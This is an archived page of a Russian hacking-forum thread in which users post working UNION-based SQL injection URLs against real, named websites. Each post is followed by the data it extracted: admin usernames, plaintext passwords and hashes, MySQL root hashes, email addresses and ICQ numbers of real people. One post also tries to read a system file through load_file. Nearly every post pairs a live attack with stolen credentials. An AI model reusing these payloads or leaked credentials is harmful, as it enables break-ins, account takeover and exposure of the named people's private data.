Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 
журналы новости статьи video форум подписка на «Хакер»

RE: Ваши Sql-инъекции

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Уязвимости] >> RE: Ваши Sql-инъекции
Имя
Сообщение << Старые топики   Новые топики >>
RE: Ваши Sql-инъекции - 2010-06-04 13:35:35.713333   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.greatandhra.com/ganews/viewnews.php?id=-5492+union+select+1,2,concat_ws(0x3a3a3a,user,password,file_priv),4,5+from+mysql.user+--+ User: root
Password: *F1EDF34F50C6D110B954458C2570D433EC8D7CCE
File_Priv=Y
Post #: 161
RE: Ваши Sql-инъекции - 2010-06-04 14:42:15.173333   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.procctv.ru/page.php?id=-482+union+select+1,concat_ws(0x3a3a3a,login,password)+from+users+--+ Login: admin
Password: chha678ns

Админка:
http://www.procctv.ru/admin/index.php
Post #: 162
RE: Ваши Sql-инъекции - 2010-06-04 16:56:08.686666   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.kittens.black-cat.ru/display.php?city=-3+union+select+1,concat_ws(0x3a3a3a,login,pass,email),3+from+users+limit+6,1-- Login: Черная кошка
Pass: milc
Email: adminn@black-cat.ru
Post #: 163
RE: Ваши Sql-инъекции - 2010-06-04 18:38:06.540000   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.at-rent.be/product.php?id=-47+union+select+1,2,3,concat_ws(0x3a3a3a,username,user_password,user_email,user_icq)+from+phpbb_users+limit+5,1+--+ Username: bberrolloss
Password: ecb97ffafc1798cd2f67fcbc37226761
Email: gova5@mail.ru
Icq: 7452954



http://www.at-rent.be/product.php?id=-47+union+select+1,2,3,concat_ws(0x3a3a3a,username,user_password,user_email,user_icq)+from+phpbb_users+limit+6,1+--+ Username: MainDadyFirst
Password: 98ec24a321731b08d39976fa06d77fff
Email: support@askfreecoupon.info
Icq: 242831487



http://www.at-rent.be/product.php?id=-47+union+select+1,2,3,concat_ws(0x3a3a3a,username,user_password,user_email,user_icq)+from+phpbb_users+limit+7,1+--+ Username: NotoHinil
Password: 52e9ab87dcb35f45f1d3215cfaf34146
Email: jepdymnnefe@lvivs.com
Icq: 48118413
Post #: 164
RE: Ваши Sql-инъекции - 2010-06-05 13:29:19.223333   
steep777

Сообщений: 10
Оценки: 0
Присоединился: 2010-01-24 19:14:56.106666
quote:

http://www.fckhimki.ru/modules/news/index.php?current_id=1&news_id=1534+and+1=0+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,version(),database(),user()),11,12,13,14–


4.0.27-max-log:fckhimki_new1:fckhimki_new1@v2.valuehost.ru
Post #: 165
RE: Ваши Sql-инъекции - 2010-06-05 18:53:22.723333   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://private-gold-club.com/news.php?id=-4+union+select+1,2,concat_ws(0x3a3a3a,username,password),4,5+from+members+--+ Username: callback1016
Password: $1$jWUTVmPe$qotzgYOnMuB6pYyMkPWcg1
Post #: 166
RE: Ваши Sql-инъекции - 2010-06-05 20:01:50.196666   
reigan

Сообщений: 48
Оценки: 0
Присоединился: 2009-03-23 17:21:58.596666
 http://www.kazakh.ru/photo/view.phtml?id=-1/**/UNION/**/SELECT/**/version%28%29–
Post #: 167
RE: Ваши Sql-инъекции - 2010-06-05 20:08:44.726666   
reigan

Сообщений: 48
Оценки: 0
Присоединился: 2009-03-23 17:21:58.596666
 http://mugalim.org/news/news_detail.php?id=-1/**/UNION/**/SELECT+1,version(),3,4,5,6,7,8,9–
Post #: 168
RE: Ваши Sql-инъекции - 2010-06-05 21:51:49.470000   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.arabpressnetwork.org/articlesv2.php?id=-472+union+select+1,concat_ws(0x3a3a3a,user,password,file_priv),3,4,5,6,7+from+mysql.user+--+ User: root
Password: 65d58a2f20448a42
File_Priv=Y
Post #: 169
RE: Ваши Sql-инъекции - 2010-06-06 01:12:53.110000   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.pinkplanet.tv/news.php?id=-13+union+select+1,2,concat_ws(0x3a3a3a,uid,passwd),4+from+users+limit+0,1+--+ User: Paul
Passwd: thx1138
Post #: 170
RE: Ваши Sql-инъекции - 2010-06-06 03:44:24.533333   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.vergelijking.be/gsm/data.php?id=-6+union+select+concat_ws(0x3a3a3a,login,password,email)+from+admin+limit+0,1+--+ Login: ruben
Password: 1469a1cde29237f53f336528cdb197b3
Email: ruben@vergelijking.be



http://www.vergelijking.be/gsm/data.php?id=-6+union+select+concat_ws(0x3a3a3a,login,password,email)+from+admin+limit+1,1+--+ Login: maarten
Password: b96ba508e3690f5168e4b0e68b15b178
Email: maarten@vergelijking.be



http://www.vergelijking.be/gsm/data.php?id=-6+union+select+concat_ws(0x3a3a3a,login,password,email)+from+admin+limit+2,1+--+ Login: kurt
Password: b15ab3f829f0f897fe507ef548741afb
Email: kurt@vergelijking.be
Post #: 171
RE: Ваши Sql-инъекции - 2010-06-06 17:18:30.666666   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://vertolet.kiev.ua/content.php?id=-4+union+select+1,2,concat_ws(0x3a3a3a,username,pass,email),4+from+users+--+ Username: admin
Pass: 4da1771e467ad0a82766e24cfcc1a3c1
Email: ualeksey@gmail.com
Post #: 172
RE: Ваши Sql-инъекции - 2010-06-06 19:30:20.190000   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://water.grace.edu/news.php?id=-17+union+select+1,2,3,4,concat_ws(0x3a3a3a,user,password,file_priv),6+from+mysql.user+limit+0,1+--+ User: root
Password: *5D3509C2F0A5C123F0EFB377918AF03186D53BF7
File_Priv=Y
Post #: 173
RE: Ваши Sql-инъекции - 2010-06-06 19:57:14.090000   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.svoa.co.th/product_info.php?id=-69584+union+select+1,concat_ws(0x3a3a3a,user,password,file_priv),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+mysql.user+--+ User: root
Password:
File_Priv=Y
Post #: 174
RE: Ваши Sql-инъекции - 2010-06-06 23:07:56.650000   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.endven.com/index/news.php?id=-14+union+select+1,concat_ws(0x3a3a3a,username,password,email),3,4,5,6+from+admin+--+ Username: staff
Password: ebed06dac7deb58b7719bf6cfc92c7db
Email: jonny@sapnagroup.net
Post #: 175
RE: Ваши Sql-инъекции - 2010-06-07 01:16:52.376666   
MERRON

Сообщений: 456
Оценки: 312
Присоединился: 2009-05-05 12:42:29.883333
 http://www.energywave.com/shop/product_info.php?id=40+union+select+1,2,3,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),5,6,7,8,9,10,11,12--
5.0.83-log
ebkarnz04@cgi1504.int.bizland.net
newshop

http://www.energywave.com/shop/product_info.php?id=40+union+select+1,2,3,concat(0x3a,username,0x3a,password,0x3a),5,6,7,8,9,10,11,12+from+admin--
username: admin
password: admin123
Post #: 176
RE: Ваши Sql-инъекции - 2010-06-07 01:28:35.890000   
MERRON

Сообщений: 456
Оценки: 312
Присоединился: 2009-05-05 12:42:29.883333
 http://www.loongson.cn/product_info.php?id=-28+union+select+1,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),3,4,5,6--
5.0.51a-24+lenny2
hongjun@localhost
db_china_quban_cn

http://www.loongson.cn/product_info.php?id=-28+union+select+1,concat(0x3a,username,0x3a,password,0x3a),3,4,5,6+from+admin--
username: admin
password: adminshiying
Post #: 177
RE: Ваши Sql-инъекции - 2010-06-07 02:04:58.270000   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.photohobby.net/webboard/news.php?id=-14+union+select+1,2,concat_ws(0x3a3a3a,user,passw,email),4,5,6+from+webboard_member+--+ User: -=KiNg=-
Passw: iti14029
Email: t_sukit@photohobby.net
Post #: 178
RE: Ваши Sql-инъекции - 2010-06-07 12:17:22.080000   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.greatandhra.com/ganews/viewnews.php?id=-275+union+select+1,2,concat_ws(0x3a3a3a,user,password,file_priv),4,5+from+mysql.user+--+ User: root
Password: *F1EDF34F50C6D110B954458C2570D433EC8D7CCE
File_Priv=Y
Post #: 179
RE: Ваши Sql-инъекции - 2010-06-07 12:31:12.636666   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.guuui.com/posting.php?id=-1794+union+select+1,2,3,concat_ws(0x3a3a3a,email,password),5,6,7,8,9,10,11,12,13,14+from+users+--+ Email: jens@hoerup.dk
Password: 123456
Post #: 180
RE: Ваши Sql-инъекции - 2010-06-07 12:50:44.686666   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.tuk-tuk.com/board/detail.php?id=-35+union+select+1,2,3,4,concat_ws(0x3a3a3a,tuktuk_system_user_name,tuktuk_system_user_password,tuktuk_system_user_email),6,7,8,9,10,11,12,13,14,15+from+tuktuk_system_user+--+ Name: admin
Password: admin
Email: admin@tuk-tuk.com
Post #: 181
RE: Ваши Sql-инъекции - 2010-06-07 15:49:07.703333   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://islamcivil.ru/cat.php?id=-7+union+select+1,2,concat_ws(0x3a3a3a,login,password),4+from+users+--+ Login: admin
Password: ,bcvbkmkzum



http://islamcivil.ru/cat.php?id=-7+union+select+1,2,concat_ws(0x3a3a3a,login,password),4+from+users+limit+1,1+--+ Login: admin
Password: bvfvfn
Post #: 182
RE: Ваши Sql-инъекции - 2010-06-07 16:13:38.166666   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.killarney.ie/shop.php?id=-32+union+select+1,concat_ws(0x3a3a3a,username,password,email),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+shop+--+ Username: denU7UPr
Password: online
Email: info@kennellyspharmacy.com
Post #: 183
RE: Ваши Sql-инъекции - 2010-06-07 16:27:42.403333   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.worldfolkart.org/countries.php?id=-17+union+select+1,2,concat_ws(0x3a3a3a,username,password,email)+from+users+--+ Username: wes
Password: flash62
Email: wes@joedesigns.com



http://www.worldfolkart.org/countries.php?id=-17+union+select+1,2,concat_ws(0x3a3a3a,user,password,file_priv)+from+mysql.user+--+ User: root
Password: 72264f5d3ee7d3fc
File_Priv=Y
Post #: 184
RE: Ваши Sql-инъекции - 2010-06-08 03:01:17.800000   
fasfas

Сообщений: 152
Оценки: 0
Присоединился: 2010-06-06 14:21:15.500000
 строго не судить первая sql инъекция )) если есть опытные помогите как получить здесь пароль , известно что from+users http://www.atur.com.ua/index.php?id=-1513+union+select+1,2,3,concat(version(),0x3a,database(),0x3a,user()),5,6,7
4.1.25-log
atur@localhost
atur
Post #: 185
RE: Ваши Sql-инъекции - 2010-06-08 11:46:41.963333   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://expo.mtpp.org/news.php?id=-48+union+select+1,2,3,4,concat_ws(0x3a3a3a,login,pass),6,7,8,9+from+users+--+ Login: guild
Pass: qzwxec
Post #: 186
RE: Ваши Sql-инъекции - 2010-06-08 12:08:03.756666   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.gsugba.org/news.php?id=857+union+select+1,concat_ws(0x3a3a3a,email,password),3,4,5,6+from+user+limit+0,1+--+ Email: nvenkataraghavan1@student.gsu.edu
Password: d41d8cd98f00b204e9800998ecf8427e
Post #: 187
RE: Ваши Sql-инъекции - 2010-06-08 16:07:20.520000   
cradis

Сообщений: 54
Оценки: 0
Присоединился: 2010-05-23 20:52:05.473333
 http://ping.ua/home.php?cat=-3+union+select+1,2,3,group_concat(unhex(hex(admin_password)),0x3a,unhex(hex(admin_code))),5,6,7,8,9,10+from+se_admins+-- первая более менее нормальная, найденная самолично =]
Post #: 188
RE: Ваши Sql-инъекции - 2010-06-08 16:46:06.820000   
fasfas

Сообщений: 152
Оценки: 0
Присоединился: 2010-06-06 14:21:15.500000
 http://www.cvz.ru/index.php?id=-41+union+select+1,2,3,4,5,6,concat_ws(0x2a,version(),0x2a,database(),0x2a,user()),8
Post #: 189
RE: Ваши Sql-инъекции - 2010-06-08 17:22:38.970000   
fasfas

Сообщений: 152
Оценки: 0
Присоединился: 2010-06-06 14:21:15.500000
 http://www.rifpark.ru/enc/index.php?id=-3+union+select+1,2,3,concat(0x2a,version(),0x2a,database(),0x2a,user()),5,6,7,8,9,10 4.1.22
rifpark@dix.hc.ru
wwwrifparkru_wwwrifparkru_wwwrifparkru
Post #: 190
RE: Ваши Sql-инъекции - 2010-06-08 18:12:22.223333   
cradis

Сообщений: 54
Оценки: 0
Присоединился: 2010-05-23 20:52:05.473333
 http://www.bispublishers.nl/bookpage.php?id=-1+union+select+1,2,group_concat%28user_name,0x3a,user_password%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48+from+user
Post #: 191
RE: Ваши Sql-инъекции - 2010-06-09 00:56:34.196666   
fasfas

Сообщений: 152
Оценки: 0
Присоединился: 2010-06-06 14:21:15.500000
 http://bankcup.ru/info/index.php?id=-82+union+select+1,2,3,concat(0x2a,user(),0x2a,database(),0x2a,version()),5
User:bankcup_admin@localhost
Database:bankcup_main
Version:4.1.22-standard-log
Post #: 192
RE: Ваши Sql-инъекции - 2010-06-09 01:07:28.373333   
fasfas

Сообщений: 152
Оценки: 0
Присоединился: 2010-06-06 14:21:15.500000
 http://www.zagorod.net/index.php?id=-78+union+select+1,concat(0x2a,user(),0x2a,database(),0x2a,version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
User:sterofru@localhost
Database:sterofru
Version:5.0.26-log
Post #: 193
RE: Ваши Sql-инъекции - 2010-06-09 01:33:12.770000   
fasfas

Сообщений: 152
Оценки: 0
Присоединился: 2010-06-06 14:21:15.500000
 Ура моя первая скл инъекция с паролем)))
http://www.seversity.ru/index.php?id=-6+union+select+1,2,3,4,5,concat(user,0x2a,pass)+from+userlist
User:admin
Password:adminSev
Post #: 194
RE: Ваши Sql-инъекции - 2010-06-09 02:13:02.976666   
Saaar

Сообщений: 129
Оценки: 0
Присоединился: 2008-05-19 21:05:59.910000
 http://www.crystalwebeasy.com/celeron.php?q=-99+union+select+1,2,concat(0x3a,version(),0x3a,user(),0x3a,database())--
5.0.45-community-nt
crystalwebeasy@localhost
crystal

http://www.crystalwebeasy.com/celeron.php?q=-99+union+select+1,2,concat(username,0x3a,pass)+from+admin--     
username: admin
pass: crystalwebeasy123
Post #: 195
RE: Ваши Sql-инъекции - 2010-06-09 02:23:12.873333   
MERRON

Сообщений: 456
Оценки: 312
Присоединился: 2009-05-05 12:42:29.883333
 http://www.hostnomi.com/celeron.php?q=-99+union+select+1,2,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a)--
5.0.45-community-nt
root@localhost
newdb

http://www.hostnomi.com/celeron.php?q=-99+union+select+1,2,file_priv+from+mysql.user+where+user='root'--
File_Priv=Y

http://www.hostnomi.com/celeron.php?q=-99+union+select+1,2,load_file('C:\\windows\\system32\\drivers\\etc\\hosts')--
Post #: 196
RE: Ваши Sql-инъекции - 2010-06-09 09:49:30.803333   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.expats.com/site/index.php?fuseaction=links.view_country&id=-17+union+select+concat_ws(0x3a3a3a,username,userpassword),2,3,4,5,6,7,8,9+from+users+limit+0,1+--+ Username: kristentest25@hotmail.com
Userpassword: 6a21861a3b6186f6e285a1eb5da11549
Post #: 197
RE: Ваши Sql-инъекции - 2010-06-09 09:59:45.866666   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.fsek.lth.se/old//kalender.php?id=-486+union+select+1,concat_ws(0x3a3a3a,namn,password,email),3,4,5,6,7,8+from+user+limit+0,1+--+ Namn: Markus Wall
Password: df5ea29924d39c3be8785734f13169c6
Email: f01mw@efd.lth.se
Post #: 198
RE: Ваши Sql-инъекции - 2010-06-09 15:42:44.573333   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.bmcenter.be/kalender.php?ID=-83+union+select+1,2,concat_ws(0x3a3a3a,user,password,file_priv),4,5+from+mysql.user+--+ User: root
Password: *D95F62B10D7478283EE6D8D849E30C42A9A3B3B6
File_Priv=Y



http://www.bmcenter.be/kalender.php?ID=-83+union+select+1,2,concat_ws(0x3a3a3a,user,pwd),4,5+from+user+limit+0,1+--+ User: bruno
Pwd: e3928a3bc4be46516aa33a79bbdfdb08
Post #: 199
RE: Ваши Sql-инъекции - 2010-06-09 16:27:04.380000   
Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333
 http://www.b-b-z.nl/jubileum/kalender.php?id=-4+union+select+1,2,3,concat_ws(0x3a3a3a,username,password,email),5,6,7+from+users+--+ Username: kooter
Password: 2ad8d1f3fa6506c13befd798476d1b92
Email: webmaster@b-b-z.nl
Post #: 200
Страниц:  1 2 3 4 [5] 6 7 8 9 10 11 12 13 14 15 16 17
Все форумы >> [Уязвимости] >> RE: Ваши Sql-инъекции







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.